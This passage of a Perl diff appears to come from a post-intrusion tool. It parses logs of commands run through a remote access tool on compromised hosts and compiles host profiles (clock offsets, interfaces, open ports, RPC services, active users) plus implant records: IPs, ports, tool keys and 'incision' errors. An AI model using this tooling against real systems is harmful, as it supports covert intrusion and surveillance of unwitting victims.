it expects and/or the next command is found + # (i.e., $gotone is true). +# if (/-lsh.*mkoffset/) { +#dbg("Found THIS mkoffset:$_"); +# while (getline(undef,"FROM")) { +#dbg("gotone=$gotone Found THISline mkoffset:$line"); +# next OUTSIDE if $gotone ; +# if ($line =~ /UTC_OFFSET=([\d-]+)/) { +# print "UTC Offset: $1\n" unless $donethisoffset{$1}++ ; +# $found++ ; +# } +# } +# } + if (/-getenv/) { + while (getline(undef,"COMEONMANgetenv") and ! (eof IN)) { + next OUTSIDE if $gotone ; + print "System Path: $1\n" if $line =~ /^PATH=(.*)/; + $found++ ; + } + next OUTSIDE ; + } + if (/hostid/) { + getline(undef,"COMEONMANhostid") ; + next OUTSIDE unless $line ; + print "Host ID: $line\n"; + $found++ ; + next OUTSIDE ; + } + if (!$hostnamesave and /hostname/ and ! m,(cat|more).* /etc/hostname, ) { + while (1 and ! (eof IN)) { + getline(undef,"FROM hostname") ; + last if (!$line or $line !~ /:::::::::::::/); + } + next OUTSIDE unless ($line and $line !~ /hostname.*(command not found|no such file)/i); + $hostnamesave = $line; + $found++ ; + next OUTSIDE ; + } +# if ( /hostname/) { +# warn "DBG: Got hostnamesave=$hostnamesave= at _=$_= and line=$line="; +# `echo "DBG: Got hostnamesave=$hostnamesave= at _=$_= and line=$line=" >> /tmp/dammit`; +# } + if (/domainname/) { + # assert: hostname, then =autorpc, have both been done already + # $hostnamesave has hostname output + getline(undef,"COMEONMANdomainname") ; + next OUTSIDE unless $line ; + $domainnamesave = $line; + my ($nopen_ip) = $nopen_rhostname =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ ; + + my (@IP,%FQDN,%KEYSTR,%OS,%IMPLANTS, + %UTCOFFSET,%ALLIMPLANTKEYS,%IMPLANTKEYS) = () ; +#dbg("nopen_myip=$nopen_myip +#\$nopen_rhostname=$nopen_rhostname= +#\$nopen_ip=$nopen_ip= +#"); + + if (findinvarkeys($nopen_ip,1,\@IP,\%FQDN,\%KEYSTR,\%OS,\%IMPLANTS, + \%UTCOFFSET,\%ALLIMPLANTKEYS,\%IMPLANTKEYS) + ) { + if ($FQDN{$nopen_ip}) { + print "FQDN: $FQDN{$nopen_ip}\n"; + } + } + + $found++ ; + next OUTSIDE ; + } + if (/^-lsh date ; date -u/ or /^Our .*local\/GMT:/) { +#dbg("Inside here lsh date or Our.*GMT"); + my $count = 0 ; + while (getline(undef,"COMEONMANlsh date") and ! (eof IN)) { + next OUTSIDE if $gotone ; + next unless $count++ ; # skip date, want date -u + ($mon,$d,$year) = $line =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $line =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + ($tz) = $line =~ /([\D]+)\s+$year/; + $tz =~ s/^\s*(.*)\s*$/$1/; + $d += 100 ; $d = substr($d,1) ; + print "Access Start (zulu): $year-$mons{$mon}-$d $h:$m:$s\n"; + print "OP Box UTC Time Zone: $tz\n"; + $gmnow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); + $found++ ; + next OUTSIDE ; + } + } +# if (/^date ; date -u/) { +# while (getline(undef,"FROM")) { +#dbg("autodone/gethostinfo.pl processing date/date -u output:$line"); +# #next if ( $line =~ /^\[Saving\s+output to: \/current\/etc\/dates/ ) ; +# # next OUTSIDE if $gotone ; +# next unless ($line =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i) ; +#my ($newway,$monstr,$mday,$hr,$min,$myyear) =epochseconds($line); +#dbg(" gethostinfo.pl target tzdate(newway,monstr,mday,hr,min,myyear) = ($newway,$monstr,$mday,$hr,$min,$myyear)"); +# ($mon,$d,$year) = $line =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; +# ($h,$m,$nothing,$s) = $line =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; +# # 20051027: Change this next from [\D]+ to [\S]{3,} for TZs like GMT+3 +# ($tz) = $line =~ /\s([\S]{3,})\s+$year/; +# $d += 100 ; $d = substr($d,1) ; +# print "Box Time Zone: $tz\n"; +# my $tznow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); +#dbg("gmnow=$gmnow tznow=$tznow= Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year);"); +# my $offset = int(($tznow - $gmnow) / 60 + 0.50 ); +# print "Box Offset: $offset\n"; +# my $offsethr = int(($offset / 60)) ; +# $offset = -1 * $offset if ($offsethr < 0) ; # neg shown only in hr +# my $offsetmin = int(0.50 + (($offset / 60) - int($offset / 60))* 60) ; +# print "Box Offset String: $offsethr hours $offsetmin minutes\n"; +# $found++ ; +# next OUTSIDE ; +# } +# } + if (/-lsh mv .*\.dates.*crondates.*Our.*local.*mkoffset/) { +# dbg("FOUND mkoffset match: $_"); + my $boxutcoffset = ""; + while (getline(undef,"COMEONMANcrondates") and ! (eof IN)) { + my ($ourdate,$ourudate,$theirdate,$theirudate) = (); + next OUTSIDE if $gotone ; +# dbg("OUTER gotone=$gotone autodone/gethostinfo.pl processing -gs mkoffset output:$line"); + my $utcline = ""; + # Next line will be our date, one after that our date -u + # But its output is not available here via getline(undef,"FROM"), instead we read + # $opdown/mkoffset.$nopen_rhostname which has it all (gs.mkoffset just wrote it). + if (open(OFFSETIN,"$opdown/mkoffset.$nopen_rhostname")) { + my $count=0; + my $opboxdate = ""; + while ($line = ) { + if ($opboxdate) { + next unless $line =~ /UTC_OFFSET/; + ($boxutcoffset) = $line =~ /(UTC_OFFSET=[-\d]*)/; + } +# dbg("INNER:$line"); + next unless $line =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + $count++; + chomp($ourdate = $line) if ($count == 1); + chomp($ourudate = $line) if ($count == 2); + chomp($theirdate = $line) if ($count == 3); + chomp($theirudate = $line) if ($count == 4); +# dbg("INNER count=$count autodone/gethostinfo.pl processing -gs mkoffset output:$line +#so far:ourdate=$ourdate +#so far:ourudate=$ourudate +#so far:theirdate=$theirdate +#so far:theirudate=$theirudate +#"); + # skip our date/date -u, target date then want his date -u + next unless $count == 4 ; + # ASSERT: $line is now target's date -u +# dbg("INNER SETTLED ON $line"); + $opboxdate = $line; + } +#dbg("out of INNER"); + $line = $opboxdate; + close(OFFSETIN); + # ASSERT: OK, this $line is opbox date, $ourudate is opbox date -u. + ($mon,$d,$year) = $ourudate =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $ourudate =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + ($tz) = $ourudate =~ /([\D]+)\s+$year/; + $tz =~ s/^\s*(.*)\s*$/$1/; + $d += 100 ; $d = substr($d,1) ; + print "Access Start (zulu): $year-$mons{$mon}-$d $h:$m:$s\n"; + print "OP Box UTC Time Zone: $tz\n"; + $gmnow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); + # ASSERT: OK, this $theirdate is target's "date" output +#dbg("Calling epochseconds($theirdate);",1); + my ($newway,$monstr,$mday,$hr,$min,$myyear) =epochseconds($theirdate); +#dbg("Just returned from my ($newway,$monstr,$mday,$hr,$min,$myyear) =epochseconds($theirdate);"); + ($mon,$d,$year) = $theirdate =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $theirdate =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + # 20051027: Change this next from [\D]+ to [\S]{3,} for TZs like GMT+3 + ($tz) = $theirdate =~ /\s([\S]{3,})\s+$year/; + ($utctz) = $theirudate =~ /\s([\S]{3,})\s+$year/; + $d = sprintf("%02d",$d) ; + print "Box Local Time: $theirdate\n"; + print "Box UTC Time: $theirudate\n"; + print "Box UTC_OFFSET: $boxutcoffset\n"; + print "Box Time Zone: $tz\n"; + print "Box UTC Time Zone: $utctz\n"; + my $tznow = Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year); +# dbg("gmnow=$gmnow tznow=$tznow= Time::Local::timegm($s,$m,$h,$d,$mons{$mon}-1,$year);"); + my $offset = int(($tznow - $gmnow) / 60 + 0.50 ) unless $gmnow <= 0; + print "Box Offset: $offset\n"; + my $offsethr = int(($offset / 60)) ; + $offset = -1 * $offset if ($offsethr < 0) ; # neg shown only in hr + my $offsetmin = int(0.50 + (($offset / 60) - int($offset / 60))* 60) ; + print "Box Offset String: $offsethr hours $offsetmin minutes\n"; + $found++ ; + } + next OUTSIDE ; + } + } + if (/(ssh(d{0,1})) -V/) { + my ($sshbin,$daemon) = ($1,$2); + $daemon = uc $daemon; + while (getline(undef,"COMEONMANssh/sshd")) { + next OUTSIDE if $gotone ; + next if $line =~ /^\s*$/; + next if $line =~ /^NO\!/; + next if $line =~ /no such.*file/i; + next if $line =~ /illegal/i; + last if $line =~ /usage/i; + last if $line =~ /option requires an argument.*V/i; + last if $line =~ /No SSH binaries found/; + print "SSH${daemon}_version: $line\n"; + $found++ ; + } + } + if (/locale/) { + while (getline(undef,"COMEONMANlocale")) { + next OUTSIDE if $gotone ; + if ($line =~ /^LANG=(.+)/) { + print "Box Language: $1\n" ; + $found++ ; + } + if ($line =~ /^LC_CTYPE=(.+)/) { + print "LC_CTYPE: $1\n" ; + $found++ ; + } + } + } + if (/^-ifconfig/) { + my $header = "Hardware: Interface\n"; + while (getline(undef,"COMEONMAN-ifconfig")) { + next OUTSIDE if $gotone ; + ($int,$flags,$mtu) = ($1,$2,$3) if + $line =~ /^(.*):\s+flags=(.+).*mtu ([\d.]+)/ ; + next unless ( + ($junk,$ip,$bc,$nm) = + $line =~ /^(inet|.*is 0.*) ([\d.]+) broadcast ([\d.]+) netmask ([\d.]+)/ + ) ; + next if ($ip eq "0.0.0.0" or $ip eq "6.3.6.0") ; + if ($ip eq "127.0.0.1") { + ($int,$flags,$mtu,$ip,$bc,$nm) = () ; + next ; + } + print "${header}Instance: $int; FLAGS: $flags; MTU: $mtu\n" ; + $header = "" ; + getline(undef,"FROM") ; + if (($mac) = $line =~ /^ether ([abcdef\d:]+)/i) { + # nopen -ifconfig does not pad one digit to two, so we do + $mac =~ s/([a-f0-9]+)/0$1/g ; # this makes some three digits + $mac =~ s/0([a-f0-9]{2})/$1/g ; # this makes all 3 digits just two + } + my ($network) = `ipcalc --network --silent $ip $nm` =~ /NETWORK=(.*)/ ; +# print "Instance: address: $ip subnet: $network/$nm broadcast: $bc\n"; +# print "Instance: MAC Addres: $mac\n" ; + print "IP: $ip\nMAC Addres: $mac\nSubnet: $network/$nm\nBroadcast: $bc\n"; + ($int,$flags,$mtu,$ip,$bc,$nm) = () ; + $found++ ; + } + } +# if (/notgonnause--was-status/) { +# my $count = 0 ; +# while (getline(undef,"FROM")) { +# next OUTSIDE if $gotone ; +# next unless ( $line =~ / Remote Host:Port / ) ; +# next unless $count++ ; # get second match like above +# ($val,$val2) = $line =~ /([\d.]+):(\d+)\)$/ ; # get rid of color codes if there +# print "IP: $val\n"; +# $targetip = $val ; +# print "RAT port: $val2\n"; +# $found++ ; +# next OUTSIDE ; +# } +# } + if (/uname -a/) { + getline(undef,"COMEONMANuname"); + $hwarch .= "HW Architecture: $line\n" unless $hwarch; + } + if (/-status/ and $statusnotdone) { + my ($whichend,$othertools,$ratclientver,$ratserverver,$os,$remoteip, + $remoteport,$scriptfile,$lookfor,$skiplines,@tmp,$newlatewarning) = () ; + while (getline(undef,"FROMstatus")) { + $whichend = "local" if ($line =~ /^local/i) ; + $whichend = "remote" if ($line =~ /^remote/i) ; + $whichend = "connection" if ($line =~ /^connection/i) ; + next OUTSIDE if $gotone ; + if ($whichend eq "remote") { + if ( ($os) = $line =~ / OS\s+(.*)/ ) { + print "OS: $os\n"; + print "OS Version: $1\n" if $os =~ /[^\s]+\s+([^\s]+)\s/ ; + $hwarch .= "HW Architecture: $1\n" if ($os =~ /\s+([^\s]+)$/ and !$hwarch); + } + if ( $line =~ / NOPEN server\s+(.*)/ ) { + $ratserverver = $1 ; + print "RAT server ver: NOPEN $ratserverver\n"; + } + print "RAT server cwd: $1\n" if ( $line =~ / CWD\s+(.*)/ ); + $found++ ; + } + if ($whichend eq "connection") { + if ($line =~ /Remote Host:Port.*\(([\.\d]+):(\d+)\)/) { + $remoteip = $1 if $1 ; + $remoteport = $2 if $2 ; + } + } + if ($whichend eq "local") { + $lookfor = $line if ($line =~ /Command Out/) ; + if ($line =~ / NOPEN client\s+(.*)/ ) { + $ratclientver = $1; + print "RAT client ver: NOPEN $ratclientver\n"; + $found++ ; + } + } + if ($remoteip and $remoteport and $ratclientver and + $ratserverver and !$othertools) { + $statusnotdone=0; + my $clientdiff = "" ; + my $ratserververshort = $ratserverver ; + $ratserververshort =~ s/(\d+\.\d+\.\d+)\.*\d+.*/\1/ ; + my $ratclientvershort = $ratclientver ; + $ratclientvershort =~ s/(\d+\.\d+\.\d+)\.*\d+/\1/ ; + if ($ratserververshort eq $ratclientvershort) { + if ($ratserverver =~ s/version mismatch/server--acceptable version mismatch/g) { +# $ratserverver =~ s/([\d\.]+)/$1 \(server\)/; + $clientdiff = "\nTool Comments: $ratclientver (client)". + "\nTool Comments: $ratserverver"; + } + } else { + $clientdiff = "\nTool Comments: mismatched client $ratclientver" ; + } + $globaltools .= "--\nTool: NOPEN V3.X\nVersion: $ratclientver$clientdiff\n". + "Usage: EXERCISED\nUsage: ACCESSED\nTool Status: Successful\n". + "Implant IP: $remoteip\nImplant port: $remoteport\n"; + $othertools++ ; # do this if block only once + if (-s "$opdown/ls_etc-ct.$nopen_rhostname") { + if (open(IN3,"< $opetc/.ls-ct.$nopen_rhostname")) { + my ($mon,$d,$h,$m,$year); + while (chomp($line3 = )) { + $line3 =~ s/\r//g ; # Get rid of ^M's + next unless (($mon,$d,$h,$m,,$year) = $line3 =~ + /(\S{3})\s+(\d+)\s+(\d+):(\d+) (\d+) \//) ; + $d += 100 ; $d = substr($d,1) ; + print "OS Installation Time: $year-$mons{$mon}-$d $h:$m:00\n"; + last; + } + close(IN3); + } + } + # Now look for other tools accessed before NOPEN + # Find the script.* file with us in it + chomp($scriptfile = `grep -l "$lookfor" $opdown/script* 2>/dev/null| head -1`) ; + unless ("$scriptfile" and open(IN2,"< $scriptfile")) { + my $str ="\nCannot open \"script -af\" file containing $nopen_mylog.\nIS THIS AN UNSCRIPTED WINDOW?" ; + mymywarn ($str) ; + $latewarnings .= "$str\n" ; + next ; + } + # If we're not first NOPEN target in there, skip others before + # looking for ish. + # make sure to get the right one? Multi-hops? + my ($gotish,$gotenv,$gottelnet,$version,@c,$tool,$toolextra,$prevline2) ; + my $notthere = 1 ; + while (chomp($line2 = )) { +#next if ($line2 =~ /DBG.*keys=.*tn.spayed/ ); + if ( $line2 =~ /keys=.*_(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s.*tn.spayed/ ) { + $prevline2 = $line2; + if ( $1 eq $nopen_ip ) { + chomp($line2 = ) ; + if (! ($line2 =~ /(call returned|We found)/) ) { + $notthere=0; # we are just before ish for our guy + } else { + $notthere=1; # next ish is someone else + } + } else { + $notthere=1; + } + } + next if $notthere; + my $badcr; + while ($badcr = chop($line2)) { + last unless ($badcr eq "\r") ; + } + $line2 = $line2.$badcr ; + if ($line2 =~ /TARG_AYT.*=\s+(\S+)\s+(\S+)\s+(\S+)/) { + if ($1 and $2 and $3) { + @c = ($1,$2,$3) ;#@c always has most recent TARG_AYT + } + } + $gotish=1 if ($line2 =~ /running: ish /) ; + next unless $gotish ; + if ( $line2 =~ /^(\d+)\,\d+$/ ) { + $toolextra .= " PID=$1" ; + } + if ( $line2 =~ /PF=(.*)$/ and ! ($line2 =~ /Tool Comments:/) ) { + if ($1) { + $toolextra .= " PF=$1 " unless ($toolextra =~ / PF=$1 /); + $newlatewarning .= "\n--\nPOTENTIAL INCISION ERROR ON $nopen_rhostname: ". + "PF=$1\n"; + } + } + if ( $line2 =~ /^VERSION=(.*)$/ ) { + if ($version) { + if ($1 and ! $version eq $1) { + $newlatewarning .= "\nDifferent version numbers for IN on $nopen_ip: $version and $1--How can that be?\n" ; + } + } else { + $version = $1 ; + } + } + } + if ($version and @c) { + $globaltools .= "--\nTool: INCISION\nVersion: $version\n". + "Usage: ACCESSED\nTool Status: Successful\n". + "Key: @c\n"; + $globaltools .= "Tool Comments: $toolextra\n" if $toolextra; + ($version,@c) = () ; + $notthere=1 ; # VERSION is last entry of this ish + $gotish=0; + } + if ($newlatewarning) { + $latewarnings .= $newlatewarning . "VERSION=$version\n"; + } + close(IN2); + } + }#while (getline(undef,"FROM")) + }#if (/-status/) + if (/^-w$/) { + my $gotusers = 0; + while (getline(undef,"FROM-w")) { + my $ut = ""; + my $usernum = 0; + next OUTSIDE if $gotone ; + next if $line =~ /^USER.*/; + next OUTSIDE if $line =~ /^NO!.*/; + $found++; + + $ut = $1 if $line =~ /^Uptime:\s(.*)$/; + if ($ut and !$uptimeprint) { + $uptimeprint = $ut; + next; + } + else { + $gotusers++; + } + if ($gotusers and !($line eq "") and ($line !~ /^Uptime/)) { + print "Active User: $line\n"; + $latewarnings .= "\nActive User: $line\n"; + } + } + } + if (/^uptime/ or /^w$/) { + my $gotusers = 0; + while (getline(undef,"FROMuptime")) { + my $ut = ""; + my $userline = ""; + my $usernum = 0; + next OUTSIDE if $gotone ; + + ($ut,$userline,$loadprint) = ($1,$2,$3) + if $line =~ /^\s+\S{5,9}\s+(up \d+ \S+,\s+\S+),(\s+\d+\susers?),\s+(load averages?:.*)$/; + $usernum = $1 if $userline =~ /\s*(\d+).*/; + $gotusers++ if $usernum; + + if ($ut and !$uptimeprint) { + $uptimeprint = $ut; + next; + } + else { + $gotusers++; + } + if ($gotusers and !($line eq "") and ($line !~ /(^USER|^NO!|load average)/i)) { + $found++; + print "Active User: $line\n"; + $latewarnings .= "\nActive User: $line\n"; + } + } + } +# if (/^w$/) { +# my $gotusers = 0 ; +# while (getline(undef,"FROM")) { +# my $ut = ""; +# my $usernum = 0; +# next OUTSIDE if $gotone ; +# next if $line =~ /^(USER|NO!).*/; +# ($ut,$loadprint) = ($1,$2) if ($line =~ /(.*)(load average.*)/i); +# $ut = $line if (!$ut and !$uptimeprint and $line =~ /(uptime| up )/i); +# $ut =~ s/uptime:\s*//gi; +# $ut =~ s/.* up /up /i; +# $usernum =~ /\s+(\d+)\s+users*/i; +# $ut =~ s/\s+\d+users*//i; +# if ($ut) { +# $uptimeprint = $ut; +# $found++ ; +# next ; +# } +# if ($gotusers and !($line eq "")) { +# print "Active User: $line\n"; +# $latewarnings .= "\nActive User: $line\n"; +# } +# $gotusers++ if $line =~ /^USER/ and $usernum ; +# } +# } + if (/^last | egrep.*boot/) { + while (getline(undef,"COMEONMANlast grep boot")) { + next OUTSIDE if $gotone ; + next unless ($line =~ /^reboot/ or $line =~ /system boot/ ) ; + chomp($year = `date +\%Y`) unless $year ; + if (($day,$mon,$d,$h,$m) = $line =~ + /(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (\w{3}) ([ \d]{2}) (\d{2}):(\d{2})/) { + $d += 100 ; $d = substr($d,1) ; + print "Last reboot: $year-$mons{$mon}-$d $h:$m:00\n"; + $found++ ; + next OUTSIDE ; + } + } + } + if (/-ls.*wtmp(x?)/) { + # Open the $opdown/last.$nopen_rhostname and get the reboot info from there. + next OUTSIDE if ($gotlastoutput); + chomp(my $file = `ls -rt $optargetcommands/*last* | grep "${nopen_rhostname}" | tail -1`); + if (open(IN2,"< $file")) { + $found++ ; + while (chomp($line2 = )) { + next unless ($line2 =~ /^reboot/ or $line2 =~ /system boot/ ) ; + chomp($year = `date +\%Y`) unless $year ; + if (($day,$mon,$d,$h,$m) = $line2 =~ + /(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (\w{3}) ([ \d]{2}) (\d{2}):(\d{2})/) { + $d += 100 ; $d = substr($d,1) ; + print "Last reboot: $year-$mons{$mon}-$d $h:$m:00\n"; + $gotlastoutput++ ; + last ; + } + } + close(IN2); + } else { + mymywarn("Unable to open $file",$COLOR_WARNING) ; + } + next OUTSIDE ; + } + if (/^netstat -[antpu]+/) { + chomp(my $file = `ls -rt $optargetcommands/*netstat* | grep "${nopen_rhostname}" | tail -1`); + if (open(IN2,"< $file")) { + my $mode = "" ; + my %udp = () ; + my %tcp = () ; + my $udp = "" ; + my $tcp = "" ; + while (chomp($line2 = )) { + $line2 =~ s/\r//g ; # Get rid of ^M's + $mode = uc $1 if ($line2 =~ /^(UDP|TCP)/i) ; + next unless (($duh,$port,$what) = $line2 =~ /(0.0.0.0:|\*\.)(\d+).*\s+(\w+)/) ; + if ($mode eq "UDP") { + $udp{$port}++; + } else { #"TCP" + $tcp{$port}++; + } + } + close(IN2) ; + $udp .= "$_," foreach (sort by_num keys %udp) ; + $tcp .= "$_," foreach (sort by_num keys %tcp) ; + chop($udp); + chop($tcp); + print "UDP ports listening: $udp\n" if $udp; + print "TCP ports listening: $tcp\n" if $tcp; + $found++ if ($udp or $tcp); + } else { + mymywarn("Unable to open $file\n",$COLOR_WARNING) ; + } + next OUTSIDE ; + } + if (/^rpcinfo.*/ or /^-scan brpc 127.0.0.1/) { + # only do this output once even if both ways done (builtin and not) + next OUTSIDE if ($gotrpcoutput) ; + chomp(my $file = `ls -rt $optargetcommands/*rpcinfo* | grep "${nopen_rhostname}" | tail -1`); + if (open(IN2,"< $file")) { + my %vers = () ; + my %detail = () ; + my %owner = () ; + my %prog = () ; + my %host = () ; + my $longrpc = 0 ; + my $shortrpc = 0 ; + my $portrpc = 0 ; + while (chomp($line2 = )) { + $line2 =~ s/\r//g ; # Get rid of ^M's + # This next skips extraneous stuff from -scan brpc + next if ($line2 =~ /^\#/ or + $line2 =~ /^Packet from/ or + $line2 =~ /^UDP packet received from/ or + $line2 =~ /^cleaning up/ or + $line2 =~ /^(local|remote) client closed/ or + $line2 =~ /^Should be synced up/ or + $line2 =~ /^adios/ or + $line2 =~ /^--/) ; + # for when "rpcinfo" fails and we get usage, we skip this line + next if ($line2 =~ /( rpcinfo|Usage)/) ; + my ($prog,$ver,$proto,$port,$netid,$address,$service,$owner) = () ; + $line2 =~ s/^\s*// ; + if ($line2 =~ /\sowner\s*$/) { + $shortrpc=0 ; $longrpc=1 ; next; + $gotrpcoutput++ ; + } + ; + if ($line2 =~ /\s(port|service)\s*$/) { + $gotrpcoutput++ ; + $shortrpc=1 ; $longrpc=0 ; next; + } + if ($longrpc) { + if (($prog,$ver,$netid,$address,@service) = split(/\s+/,$line2)) { + $owner = pop(@service) ; + $service = "@service" ; + $prog{$prog}++ ; + if ($address =~ s/([a-z]*)\.[a-z]+$/$1/i) { + $host{$prog} = "$1/$host{$prog}" unless ($host{$prog} =~ /^$1\//) ; + } + $owner{$prog} .= "/$owner" unless ($owner{$prog} =~ /\/$owner/) ; + $vers{$prog} .= "/$ver" unless ($vers{$prog} =~ /\/$ver($|\/)/); + if ($service eq "-") { + my @tmp = split(/\s+/,`grep $prog $opbin/rpc 2>/dev/null`) ; + $service = $tmp[0] if ($tmp[0]) ; + } + $detail{$prog} .= "/$service" unless ($donedetail{$service} =~ /\/$prog/) ; + $donedetail{$service} .= "/$prog" ; + } + } elsif ($shortrpc) { # short then + if (($prog,$ver,$proto,$port,$service) = split(/\s+/,$line2)) { + $prog{$prog}++ ; + $detail{$prog} .= "/$service" unless ($detail{$prog} =~ /\/$service/) ; + $detail{$prog} .= "/$proto$port" unless($detail{$prog} =~ /\/$proto$port/) ; + $vers{$prog} .= "/$ver" unless ($vers{$prog} =~ /\/$ver($|\/)/); + } + } + } + close(IN2) ; + if (%prog) { + $found++ ; + print "RPC Programs: " ; + $bshostname = "" ; + foreach (keys %prog) { + $bshostname = "$bshostname/$host{$_}" unless ($bshostname =~ /(^|\/)$host{$_}($|\/)/) ; + print "\n$_" ; + foreach $t ($vers{$_},$detail{$_},$owner{$_},$host{$_}) { + $t =~ s/^\/+//g ; + $t =~ s/\/+$//g ; + print "\t$t" ; + } + $bshostname =~ s/^\/*// ; + } + print "\n" ; + chop($bshostname) ; + print "Hostname BS: $bshostname\n" if $bshostname ; + } + } else { + mymywarn("Unable to open $file",$COLOR_WARNING) ; + } + next OUTSIDE ; + } + # A little different for this. We are parsing the -cmdout saved + # into linuxstats.cmdout.$nopen_rhostname which is NO LONGER CATTED + # into the mainline cmdout. Doing so causes the NOPEN autport to + # break very badly. + if ( m, .*linuxstats.cmdout,) { + # Open the linuxstats.cmdout and do our getline(undef,"FROM") against that fp. + open(LINUXSTATS, "< $opdown/linuxstats.cmdout.$nopen_rhostname") or die "Can't open linuxstats.cmdout.$nopen_rhostname: $!"; + getline(LINUXSTATS,"COMEONMANLINUXSTATS before while") ; $gotone = 0 ; + my ($inmeminfo,$memoryoutput,$swapoutput, + $totalmem,$freemem,$memwarned,$swapwarned, + $totalswap,$freeswap)=(); + while (getline(LINUXSTATS,"COMEONMANLINUXSTATS WHILE LINE")) { + next unless ($inmeminfo or $line =~ /::::::::/); + getline(LINUXSTATS,"COMEONMANLINUXSTATS top of while") if ($line =~ /::::::::/); + $inmeminfo=2 if ($line =~ ?^/proc/meminfo?); + next unless $inmeminfo ; + $line =~ s/\s//g; + $procmeminfo = 1; + # This $inmeminfo is 1 at top of meminfo, 0 at bottom + $inmeminfo-- if ($line =~ /^::::::::/ or + $line =~ /^\[/ or + $line =~ /^\s*$/); + last if ($inmeminfo <= 0); + $totalmem = $1 if ($line =~ /mem.*total.*:(.+)/i or + $line =~ /total.*mem.*:(.+)/i); + $freemem = $1 if ($line =~ /mem.*free.*:(.+)/i or + $line =~ /free.*mem.*:(.+)/i or + $line =~ /mem.*avail.*:(.+)/i or + $line =~ /avail.*mem.*:(.+)/i); + $totalswap = $1 if ($line =~ /swap.*total:(.+)/i or + $line =~ /total.*swap:(.+)/i); + $freeswap = $1 if ($line =~ /swap.*free:(.+)/i or + $line =~ /free.*swap:(.+)/i); + if ($freemem and $totalmem) { + my ($usedpct,$usedstr) = freespace($freemem,$totalmem); + if ($usedpct >= 90 and !$memwarned) { + $memwarned++; + my $str = "Memory almost FULL! $freemem/$totalmem$usedstr\n"; + mymywarn($str); + $latewarnings .= $str; + } + $memoryoutput = "RAM available: $freemem/$totalmem$usedstr\n"; + } + if ($freeswap and $totalswap) { + my ($usedpct,$usedstr) = freespace($freeswap,$totalswap); + if ($usedpct >= 90 and !$swapwarned) { + $swapwarned++; + my $str = "Swap almost FULL! $freeswap/$totalswap$usedstr\n"; + mymywarn($str); + $latewarnings .= $str; + } + $swapoutput = "Swap available: $freeswap/$totalswap$usedstr\n"; + } + } + $found++ if ($memoryoutput or $swapoutput); + print $memoryoutput if ($memoryoutput); + print $swapoutput if ($swapoutput); + #WHICH??????? BUG? 15 JUN2012 TODO + #next OUTSIDE; + next ; + } + if (?(cat|more).* /proc/cpuinfo?) { # Linux + my ($cpu,$c,$id,$vendorid,$speed,$bmips) = () ; + my @cpu = () ; + while (getline(LINUXSTATS,"COMEONMANLINUXSTATS cat/more.*proc/cpu")) { + if ( $gotone ) { + if ($cpu) { + $cpu =~ s/[, ]*$// ; + push(@cpu,$cpu) ; + $cpu = ""; + } + if (my $num = @cpu) { + print "Number of Processors: $num\n" if (@cpu); + $found++ ; + foreach $cpu (@cpu) { + ($c,$id,$vendorid,$speed,$bmips) = $cpu =~ + /^\#(\d+)\s+((\S+)\s+.*)\s+([\.\d]+)MHz\s+bogomips=([\.\d]+)/ ; + print "Processor: $cpu\n"; + print "CPU $c Speed: $speed\n" if (length($speed)) ; + print "CPU $c Identifier: $id\n" if (length($id)) ; + print "CPU $c VendorIdentifier: $vendorid\n" if (length($vendorid)) ; + print "CPU $c Bogomips: $bmips\n" if (length($bmips)) ; + } + } + #WHICH??????? BUG? 15 JUN2012 TODO + #next OUTSIDE; + next ; + } + $line =~ s/\s+:\s+/=/ ; + $line =~ s/^\s*//; + if ($cpu and ($line =~ /processor=(.+)/ or + $line =~ /cpu=(.+)/)) { + $cpu =~ s/[, ]*$// ; + push(@cpu,$cpu) ; + $cpu = ""; + } + $cpu .= "#$1 " if ($line =~ /processor=(.+)/ or + $line =~ /cpu=(.+)/); + $cpu .= "$1MHz " if ($line =~ /cpu MHz=(.+)/); + $cpu .= "$1 " if ($line =~ /vendor_id=(.+)/); + $cpu .= "$1 " if ($line =~ /model name=(.+)/); + # $cpu .= "flags=\"$1\" " if ($line =~ /flags=(.+)/); + $cpu .= "bogomips=$1 " if ($line =~ /bogomips=(.+)/i); + $cpu .= "prom$1=$2 " if ($line =~ /prom(.*)=(.+)/i); + } + close(LINUXSTATS); + } #m, .*linuxstats.cmdout, + if (/psrinfo -v/) { # Solaris + my ($cpu,$c,$vendorid,$speed,$fpproc,$gotcpu,$cputype) = () ; + my @cpu = () ; + while (getline(undef,"FROMpsrinfo")) { +# dbg("In psrinfo -v: gotone=$gotone line=$line= + +#cpu=$cpu= + +#cpu=(\n". +# join("\n",@cpu)." +#) + +#"); + last if $gotone ; + if (($cputype,$gotcpu) = $line =~ /Status of (\S*)\s*processor (\S+)/) { + if ($cpu) { + $cpu =~ s/[, ]*$// ; + push(@cpu,$cpu) ; + } + $cputype .= " " if length $cputype; + 